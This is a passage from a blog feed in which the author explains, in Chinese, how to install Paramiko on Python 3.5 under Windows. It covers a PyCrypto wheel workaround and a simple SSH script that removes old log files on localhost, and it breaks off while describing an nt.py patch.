&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/feisky/p/4102613.html&#34;&gt;http://www.cnblogs.com/feisky/p/4102613.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>python3.5 安装 Paramiko</title>
      <link>http://blog.leaver.me/2015/12/28/python3.5-%E5%AE%89%E8%A3%85-paramiko/</link>
      <pubDate>Mon, 28 Dec 2015 19:17:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/12/28/python3.5-%E5%AE%89%E8%A3%85-paramiko/</guid>
      <description>&lt;p&gt;最近由于一些需求,要搞一下python,于是周末搞了搞.要连接服务器,进行一些服务器的操作,于是安装这个Paramiko包,&lt;/p&gt;
&lt;p&gt;直接&lt;code&gt;pip install paramiko&lt;/code&gt; 结果.报错,最关键的一句是:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Unable&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;find&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vcvarsall&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;google一圈.最终找到一种最简单地方法.其他的安装vs.安装MinGW都太复杂了.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;安装PyCrypto 第三方版
因为paramiko依赖PyCrypto,上面那个错就是他报错出来的.安装&lt;a href=&#34;https://github.com/sfbahr/PyCrypto-Wheels&#34;&gt;PyCrypto第三方版&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pip&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;install&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;use&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;wheel&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;no&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;find&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;links&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;https&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;//github.com/sfbahr/PyCrypto-Wheels/raw/master/pycrypto-2.6.1-cp35-none-win_amd64.whl pycrypto&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;安装完成后,再次安装paramiko即可.
2.修改nt.py&lt;/p&gt;
&lt;p&gt;安装完上面的步骤,写一个简单的程序测试下&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-*-&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;coding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;utf&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-*-&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;usr&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;python&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;paramiko&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;threading&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;ssh2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;paramiko&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;SSHClient&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;set_missing_host_key_policy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;paramiko&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;AutoAddPolicy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;timeout&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;in&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stdin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stdout&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;exec_command&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stdout&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;readlines&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;屏幕输出&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;in&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;                &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tOK&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;except&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tError&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;__name__&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;==&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;__main__&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;find&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;home&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;admin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;logs&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;mtime&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;log&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rm&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rf&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;你要执行的命令列表&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;用户名&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;密码&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;threads&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;   &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;多线程&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Begin......&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;threading&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Thread&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;target&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;start&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;运行报错.
&lt;code&gt;ImportError: No module named &#39;winrandom&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;so一下..找到一个办法
&lt;a href=&#34;http://stackoverflow.com/questions/24804829/another-one-about-pycrypto-and-paramiko&#34;&gt;http://stackoverflow.com/questions/24804829/another-one-about-pycrypto-and-paramiko&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;找到python3.5的安装目录的
&lt;code&gt;Lib\site-packages\Crypto\Random\OSRNG&lt;/code&gt;的nt.py文件将&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;winrandom&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
